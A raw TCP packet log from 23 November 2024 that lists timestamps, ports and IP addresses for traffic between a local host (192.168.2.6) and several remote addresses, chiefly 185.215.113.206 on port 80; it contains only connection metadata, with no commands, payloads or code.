Nov 23, 2024 21:59:47.171402931 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.171515942 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.171581984 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.172197104 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.172267914 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.172465086 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.172512054 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.172960043 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.173060894 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.173201084 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.173312902 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.173722982 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.173892021 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.174156904 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.174340010 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.174768925 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.174823999 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.174953938 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.175017118 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.189907074 CET	443	49896	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:47.190365076 CET	49896	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:47.190418005 CET	443	49896	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:47.190840006 CET	49896	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:47.190845966 CET	443	49896	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:47.202289104 CET	443	49893	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:47.202461004 CET	443	49893	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:47.202637911 CET	49893	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:47.202676058 CET	49893	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:47.202694893 CET	443	49893	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:47.202706099 CET	49893	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:47.202711105 CET	443	49893	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:47.205940962 CET	49901	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:47.206053019 CET	443	49901	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:47.206206083 CET	49901	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:47.206295967 CET	49901	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:47.206321001 CET	443	49901	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:47.263536930 CET	443	49894	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:47.263617992 CET	443	49894	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:47.263870955 CET	49894	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:47.264111042 CET	49894	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:47.264133930 CET	443	49894	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:47.264146090 CET	49894	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:47.264152050 CET	443	49894	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:47.267338037 CET	49902	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:47.267379045 CET	443	49902	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:47.267585039 CET	49902	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:47.268357992 CET	49902	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:47.268378019 CET	443	49902	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:47.274434090 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.274511099 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.274679899 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.274758101 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.274825096 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.274988890 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.275034904 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.275592089 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.275705099 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.275767088 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.276351929 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.276412964 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.276431084 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.276586056 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.277148008 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.277262926 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.277283907 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.277538061 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.277909994 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.278034925 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.278213024 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.278286934 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.278744936 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.278763056 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.278812885 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.279555082 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.279613018 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.279633045 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.279778957 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.280287981 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.280348063 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.280450106 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.280913115 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.281058073 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.281156063 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.281183004 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.281209946 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.281847000 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.281917095 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.282016039 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.282094955 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.282648087 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.282713890 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.282989979 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.283339977 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.283396959 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.283554077 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.283562899 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.283621073 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.284190893 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.284586906 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.284657001 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.284966946 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.285020113 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.285105944 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.285284042 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.285749912 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.285842896 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.285871029 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.286092997 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.286914110 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.286933899 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.286988974 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.287015915 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.287394047 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.287448883 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.287596941 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.287669897 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.288184881 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.288399935 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.288461924 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.288899899 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.288974047 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.289429903 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.289488077 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.289693117 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.289710045 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.289738894 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.289756060 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.290484905 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.291038990 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.291112900 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.291210890 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.291301966 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.291385889 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.291987896 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.293977022 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.365485907 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.365520954 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.365562916 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.365611076 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.365761995 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.365844965 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.366565943 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.366584063 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.366600990 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.366622925 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.366651058 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.367352009 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.367643118 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.367702007 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.368110895 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.368220091 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.368269920 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.368882895 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.368943930 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.369003057 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.369743109 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.369760990 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.369801998 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.369817019 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.370466948 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.370764971 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.370822906 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.371280909 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.371551037 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.371572018 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.371771097 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.372117043 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.372134924 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.372172117 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.372184992 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.373055935 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.373071909 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.373131037 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.373660088 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.373676062 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.373718977 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.374403954 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.375052929 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.375124931 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.375200033 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.375217915 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.375267029 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.375982046 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.377105951 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.377194881 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.428570986 CET	443	49895	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:47.428742886 CET	443	49895	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:47.428793907 CET	49895	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:47.429502964 CET	49895	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:47.429521084 CET	443	49895	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:47.429531097 CET	49895	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:47.429536104 CET	443	49895	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:47.432595015 CET	49903	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:47.432642937 CET	443	49903	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:47.432749987 CET	49903	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:47.432914019 CET	49903	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:47.432944059 CET	443	49903	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:47.472814083 CET	443	49897	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:47.472942114 CET	49897	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:47.473246098 CET	443	49897	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:47.473292112 CET	443	49897	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:47.473354101 CET	49897	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:47.473354101 CET	49897	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:47.474229097 CET	49897	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:47.474245071 CET	443	49897	150.171.27.10	192.168.2.6
Nov 23, 2024 21:59:47.474298000 CET	49897	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:47.474457979 CET	49897	443	192.168.2.6	150.171.27.10
Nov 23, 2024 21:59:47.484199047 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.606498003 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.670407057 CET	443	49898	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:47.670783997 CET	49898	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:47.670797110 CET	443	49898	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:47.671154976 CET	443	49898	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:47.671588898 CET	49898	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:47.671650887 CET	443	49898	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:47.671849966 CET	49898	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:47.683998108 CET	443	49896	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:47.684149981 CET	443	49896	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:47.684211969 CET	49896	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:47.684429884 CET	49896	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:47.684446096 CET	443	49896	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:47.684457064 CET	49896	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:47.684462070 CET	443	49896	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:47.687519073 CET	49905	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:47.687541008 CET	443	49905	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:47.687654972 CET	49905	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:47.687952995 CET	49905	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:47.687967062 CET	443	49905	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:47.715336084 CET	443	49898	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:47.964524031 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.964595079 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.964695930 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.964741945 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.964879036 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.964946985 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.964973927 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.965043068 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.965668917 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.965720892 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.965820074 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.965862989 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.966458082 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.966510057 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.966918945 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.967128992 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.967199087 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.967250109 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.967936993 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.967988968 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.968003035 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:47.968017101 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.968029022 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:47.968055010 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.009253979 CET	443	49899	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:48.009619951 CET	49899	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:48.009659052 CET	443	49899	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:48.010879993 CET	443	49899	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:48.011255026 CET	49899	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:48.011492014 CET	443	49899	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:48.011610031 CET	49899	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:48.059331894 CET	443	49899	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:48.089015007 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.089087009 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.089138031 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.089184999 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.089365005 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.089413881 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.089831114 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.089884996 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.090145111 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.090205908 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.090424061 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.090656996 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.090816975 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.090872049 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.091031075 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.091083050 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.091530085 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.091633081 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.092221022 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.092329025 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.092375994 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.092418909 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.093147039 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.093163967 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.093180895 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.093225956 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.093306065 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.093899965 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.093971014 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.094299078 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.094364882 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.094681978 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.094760895 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.095025063 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.095069885 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.095480919 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.095531940 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.095581055 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.095626116 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.096296072 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.096340895 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.096374989 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.096416950 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.097157001 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.097239017 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.147053957 CET	443	49898	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:48.150067091 CET	443	49898	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:48.150131941 CET	49898	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:48.150719881 CET	49898	443	192.168.2.6	13.107.246.40
Nov 23, 2024 21:59:48.150742054 CET	443	49898	13.107.246.40	192.168.2.6
Nov 23, 2024 21:59:48.152007103 CET	443	49900	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:48.158198118 CET	49900	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:48.158216953 CET	443	49900	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:48.159568071 CET	49900	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:48.159573078 CET	443	49900	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:48.214171886 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.214231014 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.214292049 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.214332104 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.214502096 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.214519978 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.214560986 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.215250015 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.215306997 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.215361118 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.215401888 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.216005087 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.216049910 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.216114044 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.216156006 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.216849089 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.216901064 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.216948986 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.216995001 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.217597961 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.217653036 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.217730999 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:48.217778921 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:48.218368053 CET	80	49809	185.215.113.206	192.168.2.6
